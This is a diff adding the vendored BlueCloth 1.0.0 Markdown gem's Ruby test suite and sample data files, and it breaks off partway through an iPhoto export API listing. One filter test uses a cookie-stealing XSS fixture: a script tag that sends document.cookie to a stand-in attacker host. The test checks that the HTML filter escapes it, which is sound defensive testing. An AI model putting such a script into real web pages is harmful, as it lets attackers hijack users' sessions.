File diff suppressed because it is too large Load Diff

117
vendor/gems/BlueCloth-1.0.0/test.rb vendored Normal file
View File

@@ -0,0 +1,117 @@
#!/usr/bin/ruby
#
# Test suite for BlueCloth classes
# $Id$
#
BEGIN {
$basedir = File::dirname( __FILE__ )
["lib", "tests", "redist"].each do |subdir|
$LOAD_PATH.unshift File::join( $basedir, subdir )
end
require "#{$basedir}/utils"
include UtilityFunctions
}
verboseOff {
require 'bctestcase'
require 'find'
require 'test/unit'
require 'test/unit/testsuite'
require 'test/unit/ui/console/testrunner'
require 'optparse'
}
# Turn off output buffering
$stderr.sync = $stdout.sync = true
$DebugPattern = nil
# Initialize variables
safelevel = 0
patterns = []
requires = []
# Parse command-line switches
ARGV.options {|oparser|
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
if arg
$DebugPattern = Regexp::new( arg )
puts "Turned debugging on for %p." % $DebugPattern
else
$DEBUG = true
debugMsg "Turned debugging on globally."
end
}
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
$VERBOSE = true
debugMsg "Turned verbose on."
}
# Handle the 'help' option
oparser.on( "--help", "-h", "Display this text." ) {
$stderr.puts oparser
exit!(0)
}
oparser.parse!
}
# Parse test patterns
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
$stderr.puts "#{patterns.length} patterns given on the command line"
### Load all the tests from the tests dir
Find.find("#{$basedir}/tests") {|file|
Find.prune if /\/\./ =~ file or /~$/ =~ file
Find.prune if /TEMPLATE/ =~ file
next if File.stat( file ).directory?
unless patterns.empty?
Find.prune unless patterns.find {|pat| pat =~ file}
end
debugMsg "Considering '%s': " % file
next unless file =~ /\.tests.rb$/
debugMsg "Requiring '%s'..." % file
require "#{file}"
requires << file
}
$stderr.puts "Required #{requires.length} files."
unless patterns.empty?
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
end
# Build the test suite
class BlueClothTests
class << self
def suite
suite = Test::Unit::TestSuite.new( "BlueCloth" )
if suite.respond_to?( :add )
ObjectSpace.each_object( Class ) {|klass|
suite.add( klass.suite ) if klass < BlueCloth::TestCase
}
else
ObjectSpace.each_object( Class ) {|klass|
suite << klass.suite if klass < BlueCloth::TestCase
}
end
return suite
end
end
end
# Run tests
$SAFE = safelevel
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start

View File

@@ -0,0 +1,71 @@
#!/usr/bin/ruby
#
# Unit test for the BlueCloth class object
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class BlueClothClassTestCase < BlueCloth::TestCase
TestString = "foo"
def test_00_class_constant
printTestHeader "BlueCloth: Class Constant"
assert Object::constants.include?( "BlueCloth" ),
"No BlueCloth constant in Object"
assert_instance_of Class, BlueCloth
end
def test_01_instantiation
printTestHeader "BlueCloth: Instantiation"
rval = nil
# With no argument... ("")
assert_nothing_raised {
rval = BlueCloth::new
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal "", rval
# String argument
assert_nothing_raised {
rval = BlueCloth::new TestString
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
addSetupBlock {
debugMsg "Creating a new BlueCloth"
@obj = BlueCloth::new( TestString )
}
addTeardownBlock {
@obj = nil
}
end
def test_02_duplication
printTestHeader "BlueCloth: Duplication"
rval = nil
assert_nothing_raised {
rval = @obj.dup
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
end
end

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,57 @@
#!/usr/bin/ruby
#
# Unit test for bugs found in BlueCloth
# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
require 'timeout'
### This test case tests ...
class BugsTestCase < BlueCloth::TestCase
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
### Test to be sure the README file can be transformed.
def test_00_slow_block_regex
contents = File::read( File::join(BaseDir,"README") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
timeout( 2 ) do
bcobj.to_html
end
}
end
### :TODO: Add more documents and test their transforms.
def test_10_regexp_engine_overflow_bug
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
def test_15_regexp_engine_overflow_bug2
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
end
__END__

View File

@@ -0,0 +1,132 @@
#!/usr/bin/ruby
#
# Unit test for contributed features
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class ContribTestCase < BlueCloth::TestCase
DangerousHtml =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
DangerousHtmlOutput =
"<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
DangerousStylesOutput =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
NoLessThanHtml = "Foo is definitely > than bar"
NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
### HTML filter options contributed by Florian Gross.
### Test the :filter_html restriction
def test_10_filter_html
printTestHeader "filter_html Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
# Test setting it in a sub-array
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
end
### Test the :filter_styles restriction
def test_20_filter_styles
printTestHeader "filter_styles Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_styles )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
# Test setting it in a subarray
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
end
### Test to be sure filtering when there's no opening angle brackets doesn't
### die.
def test_30_filter_no_less_than
printTestHeader "filter without a less-than"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
assert_nothing_raised { rval = bc.to_html }
assert_equal NoLessThanOutput, rval
end
end

View File

@@ -0,0 +1,274 @@
#!/usr/bin/ruby
#
# This is an abstract test case class for building Test::Unit unit tests for the
# BlueCloth module. It consolidates most of the maintenance work that must be
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
# as adding some other useful methods that make building, maintaining, and using
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
# more info on the particulars of unit testing.
#
# == Synopsis
#
# # Allow the test to be run from anywhere:
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
# basedir = File::dirname( __FILE__ )
# require File::join( basedir, 'bctestcase' )
# end
#
# class MySomethingTest < BlueCloth::TestCase
# def setup
# super()
# @foo = 'bar'
# end
#
# def test_00_something
# obj = nil
# assert_nothing_raised { obj = MySomething::new }
# assert_instance_of MySomething, obj
# assert_respond_to :myMethod, obj
# end
#
# end
#
# == Rcsid
#
# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
#
# == Authors
#
# * Michael Granger <ged@FaerieMUD.org>
#
#:include: COPYRIGHT
#
#---
#
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
#
$DebugPattern ||= nil
begin
basedir = File::dirname( File::dirname(__FILE__) )
unless $LOAD_PATH.include?( "#{basedir}/lib" )
$LOAD_PATH.unshift "#{basedir}/lib"
end
end
require "test/unit"
require "bluecloth"
class BlueCloth
### The abstract base class for BlueCloth test cases.
class TestCase < Test::Unit::TestCase
@methodCounter = 0
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
end
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
### and accessors to the inheriting class.
def self::inherited( klass )
klass.module_eval {
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :setupBlocks, :teardownBlocks
end
}
klass.methodCounter = 0
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
def self::debugMsg( *msgs )
return unless $DEBUG
self.message "DEBUG>>> %s" % msgs.join('')
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDOUT</tt>.
def self::message( *msgs )
$stderr.puts msgs.join('')
$stderr.flush
end
### Add a setup block for the current testcase
def self::addSetupBlock( &block )
self.methodCounter += 1
newMethodName = "setup_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.setupBlocks.push newMethodName
end
### Add a teardown block for the current testcase
def self::addTeardownBlock( &block )
self.methodCounter += 1
newMethodName = "teardown_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.teardownBlocks.unshift newMethodName
end
#############################################################
### I N S T A N C E M E T H O D S
#############################################################
### A dummy test method to allow this Test::Unit::TestCase to be
### subclassed without complaining about the lack of tests.
def test_0_dummy
end
### Forward-compatibility method for namechange in Test::Unit
def setup( *args )
self.class.setupBlocks.each {|sblock|
debugMsg "Calling setup block method #{sblock}"
self.send( sblock )
}
super( *args )
end
alias_method :set_up, :setup
### Forward-compatibility method for namechange in Test::Unit
def teardown( *args )
super( *args )
self.class.teardownBlocks.each {|tblock|
debugMsg "Calling teardown block method #{tblock}"
self.send( tblock )
}
end
alias_method :tear_down, :teardown
### Skip the current step (called from #setup) with the +reason+ given.
def skip( reason=nil )
if reason
msg = "Skipping %s: %s" % [ @method_name, reason ]
else
msg = "Skipping %s: No reason given." % @method_name
end
$stderr.puts( msg ) if $VERBOSE
@method_name = :skipped_test
end
def skipped_test # :nodoc:
end
### Add the specified +block+ to the code that gets executed by #setup.
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
### Add the specified +block+ to the code that gets executed by #teardown.
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
### Instance alias for the like-named class method.
def message( *msgs )
self.class.message( *msgs )
end
### Instance alias for the like-named class method
def debugMsg( *msgs )
self.class.debugMsg( *msgs )
end
### Output a separator line made up of <tt>length</tt> of the specified
### <tt>char</tt>.
def writeLine( length=75, char="-" )
$stderr.puts "\r" + (char * length )
end
### Output a header for delimiting tests
def printTestHeader( desc )
return unless $VERBOSE || $DEBUG
message ">>> %s <<<" % desc
end
### Try to force garbage collection to start.
def collectGarbage
a = []
1000.times { a << {} }
a = nil
GC.start
end
### Output the name of the test as it's running if in verbose mode.
def run( result )
$stderr.puts self.name if $VERBOSE || $DEBUG
# Support debugging for individual tests
olddb = nil
if $DebugPattern && $DebugPattern =~ @method_name
olddb = $DEBUG
$DEBUG = true
end
super
$DEBUG = olddb unless olddb.nil?
end
#############################################################
### E X T R A A S S E R T I O N S
#############################################################
### Negative of assert_respond_to
def assert_not_respond_to( obj, meth )
msg = "%s expected NOT to respond to '%s'" %
[ obj.inspect, meth ]
assert_block( msg ) {
!obj.respond_to?( meth )
}
end
### Assert that the instance variable specified by +sym+ of an +object+
### is equal to the specified +value+. The '@' at the beginning of the
### +sym+ will be prepended if not present.
def assert_ivar_equal( value, object, sym )
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
[ sym, object.inspect, value.inspect ]
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
assert_block( msg ) {
value == object.instance_variable_get(sym)
}
end
### Assert that the specified +object+ has an instance variable which
### matches the specified +sym+. The '@' at the beginning of the +sym+
### will be prepended if not present.
def assert_has_ivar( sym, object )
sym = "@#{sym}" unless /^@/ =~ sym.to_s
msg = "Object <%s> expected to have an instance variable <%s>" %
[ object.inspect, sym ]
assert_block( msg ) {
object.instance_variables.include?( sym.to_s )
}
end
end # class TestCase
end # class BlueCloth

View File

@@ -0,0 +1,34 @@
The Ant-Sugar Tales
===================
By Candice Yellowflower
The _Ant-Sugar Tales_ is a collection of short stories told from the
perspective of a fine young lady from [Venice][1], who has some run-ins
with a few [inquisitive insects][2]. Each tale presents a moral quandry,
which the ants are quick to solve with their antly wisdom and
know-how. Some of the moral lessons presented are:
* Laundry: How not to get caught in soiled knickers.
* Used Ticket Stubs and Their Impact on the Universe
* I'm Keeping a Birdhouse in my Attic
Use of Metaphor
---------------
The author's splended use of metaphor can be attributed to her growing
up in a art-supply store. Her characters are richly outlined, but her
unusual descriptions can sometimes be a bit jarring in places, such as
her description of the old caretaker that lives inside a hollow tree in
her yard:
> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
> Lasur Superb Oil Glazing Brush Size 10.
[1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
(Venice: The Grand Canal)
[2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html

View File

@@ -0,0 +1,17 @@
Hi,
I'd like to announce the alpha release of a Markdown library for [Ruby][1]
called "BlueCloth". It's mostly a direct port of the most recent Perl version,
minus the various plugin hooks and whatnot.
More information can be found on [the project page][2], or feel free to ask me
directly. I don't have much in the way of a demo yet, but will be working on
getting something set up in the coming days.
[1]: http://www.ruby-lang.org/
[2]: http://bluecloth.rubyforge.org/
--
Michael Granger <ged@FaerieMUD.org>
Rubymage, Believer, Architect
The FaerieMUD Consortium <http://www.FaerieMUD.org/>

View File

@@ -0,0 +1,67 @@
* xx xxxxxxx xx xxxxxx.
* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
* xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
xxx xx xxxxxxxxx xx xxxx.
xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
* xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
xxxx xx xxxxxx xxx xxxx.
* xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
xxxxxx xxx-xxxx xxxxx.
xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
xx xxx xxxxxxxxx xxxx-xxx.
* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
* xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
xxxxxxxxxx).
* xxxxxxxxxxx xx xxxx xxxxxxx xxx.
* xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
* xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
* xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
* xx x xxxxx xxxx:
* xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
-- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.

View File

@@ -0,0 +1,281 @@
<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
## Getting Started
Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
Here's what I found:
* [Writing Plugins for Cocoa][1]
[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
## The iPhoto Export API
Using the `class-dump` tool, I dumped the export API:
/*
* Generated by class-dump 3.0.
*
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
*/
/*
* File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
*/
@protocol ExportImageProtocol
- (unsigned int)imageCount;
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
- (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
- (id)imageCaptionAtIndex:(unsigned int)fp16;
- (id)imagePathAtIndex:(unsigned int)fp16;
- (id)thumbnailPathAtIndex:(unsigned int)fp16;
- (id)imageDictionaryAtIndex:(unsigned int)fp16;
- (float)imageAspectRatioAtIndex:(unsigned int)fp16;
- (id)albumName;
- (id)albumMusicPath;
- (unsigned int)albumCount;
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
- (id)window;
- (void)enableControls;
- (void)disableControls;
- (void)clickExport;
- (void)startExport;
- (void)cancelExport;
- (void)cancelExportBeforeBeginning;
- (id)directoryPath;
- (id)temporaryDirectory;
- (BOOL)doesFileExist:(id)fp16;
- (BOOL)doesDirectoryExist:(id)fp16;
- (BOOL)createDir:(id)fp16;
- (id)uniqueSubPath:(id)fp12 child:(id)fp20;
- (id)makeUniquePath:(id)fp16;
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
- (id)makeUniqueFileNameWithTime:(id)fp16;
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
- (id)pathForFSSpec:(id)fp16;
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
- (id)pathForFSRef:(struct FSRef *)fp16;
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
- (BOOL)isAliasFileAtPath:(id)fp16;
- (id)pathContentOfAliasAtPath:(id)fp16;
- (id)stringByResolvingAliasesInPath:(id)fp16;
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
- (id)validFilename:(id)fp16;
- (id)getExtensionForImageFormat:(unsigned int)fp16;
- (unsigned int)getImageFormatForExtension:(id)fp16;
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
- (void *)createThumbnailer;
- (void *)retainThumbnailer:(void *)fp16;
- (void *)autoreleaseThumbnailer:(void *)fp16;
- (void)releaseThumbnailer:(void *)fp16;
- (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
- (int)thumbnailerQuality:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
- (float)thumbnailerRotation:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
- (unsigned int)thumbnailerOutputFormat:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
- (id)thumbnailerOutputExtension:(void *)fp16;
- (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
- (struct _NSSize)lastImageSize:(void *)fp20;
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
@end
@protocol ExportPluginBoxProtocol
- (BOOL)performKeyEquivalent:(id)fp16;
@end
@protocol ExportPluginProtocol
- (id)initWithExportImageObj:(id)fp16;
- (id)settingsView;
- (id)firstView;
- (id)lastView;
- (void)viewWillBeActivated;
- (void)viewWillBeDeactivated;
- (id)requiredFileType;
- (BOOL)wantsDestinationPrompt;
- (id)getDestinationPath;
- (id)defaultFileName;
- (id)defaultDirectory;
- (BOOL)treatSingleSelectionDifferently;
- (BOOL)validateUserCreatedPath:(id)fp16;
- (void)clickExport;
- (void)startExport:(id)fp16;
- (void)performExport:(id)fp16;
- (CDAnonymousStruct12 *)progress;
- (void)lockProgress;
- (void)unlockProgress;
- (void)cancelExport;
- (id)name;
- (id)description;
@end
@interface ExportController : NSObject
{
id mWindow;
id mExportView;
id mExportButton;
id mImageCount;
ExportMgr *mExportMgr;
ExportMgrRec *mCurrentPluginRec;
ProgressController *mProgressController;
BOOL mCancelExport;
NSTimer *mTimer;
NSString *mDirectoryPath;
}
- (void)awakeFromNib;
- (void)dealloc;
- (id)currentPlugin;
- (id)currentPluginRec;
- (void)setCurrentPluginRec:(id)fp12;
- (id)directoryPath;
- (void)setDirectoryPath:(id)fp12;
- (void)show;
- (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
- (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
- (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
- (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
- (BOOL)filesWillFitOnDisk;
- (void)export:(id)fp12;
- (void)_exportThread:(id)fp12;
- (void)_exportProgress:(id)fp12;
- (void)startExport:(id)fp12;
- (void)finishExport;
- (void)cancelExport;
- (void)cancel:(id)fp12;
- (void)enableControls;
- (id)window;
- (void)disableControls;
- (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
- (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
- (void)selectExporter:(id)fp12;
- (id)exportView;
- (BOOL)_hasPlugins;
- (void)_resizeExporterToFitView:(id)fp12;
- (void)_updateImageCount;
@end
@interface ExportMgr : NSObject <ExportImageProtocol>
{
ArchiveDocument *mDocument;
NSMutableArray *mExporters;
Album *mExportAlbum;
NSArray *mSelection;
ExportController *mExportController;
}
+ (id)exportMgr;
+ (id)exportMgrNoAlloc;
- (id)init;
- (void)dealloc;
- (void)releasePlugins;
- (void)setExportController:(id)fp12;
- (id)exportController;
- (void)setDocument:(id)fp12;
- (id)document;
- (void)updateDocumentSelection;
- (unsigned int)count;
- (id)recAtIndex:(unsigned int)fp12;
- (void)scanForExporters;
- (unsigned int)imageCount;
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
- (id)imagePathAtIndex:(unsigned int)fp12;
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
- (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
- (id)imageCaptionAtIndex:(unsigned int)fp12;
- (id)thumbnailPathAtIndex:(unsigned int)fp12;
- (id)imageDictionaryAtIndex:(unsigned int)fp12;
- (float)imageAspectRatioAtIndex:(unsigned int)fp12;
- (id)albumName;
- (id)albumMusicPath;
- (unsigned int)albumCount;
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
- (id)imageRecAtIndex:(unsigned int)fp12;
- (id)currentAlbum;
- (void)enableControls;
- (void)disableControls;
- (id)window;
- (void)clickExport;
- (void)startExport;
- (void)cancelExport;
- (void)cancelExportBeforeBeginning;
- (id)directoryPath;
- (void)_copySelection:(id)fp12;
- (id)temporaryDirectory;
- (BOOL)doesFileExist:(id)fp12;
- (BOOL)doesDirectoryExist:(id)fp12;
- (BOOL)createDir:(id)fp12;
- (id)uniqueSubPath:(id)fp12 child:(id)fp16;
- (id)makeUniquePath:(id)fp12;
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
- (id)makeUniqueFileNameWithTime:(id)fp12;
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
- (id)pathForFSSpec:(id)fp12;
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
- (id)pathForFSRef:(struct FSRef *)fp12;
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
- (BOOL)isAliasFileAtPath:(id)fp12;
- (id)pathContentOfAliasAtPath:(id)fp12;
- (id)stringByResolvingAliasesInPath:(id)fp12;
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
- (id)validFilename:(id)fp12;
- (id)getExtensionForImageFormat:(unsigned int)fp12;
- (unsigned int)getImageFormatForExtension:(id)fp12;
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
- (void *)createThumbnailer;
- (void *)retainThumbnailer:(void *)fp12;
- (void *)autoreleaseThumbnailer:(void *)fp12;
- (void)releaseThumbnailer:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
- (int)thumbnailerQuality:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
- (float)thumbnailerRotation:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
- (unsigned int)thumbnailerOutputFormat:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
- (id)thumbnailerOutputExtension:(void *)fp12;
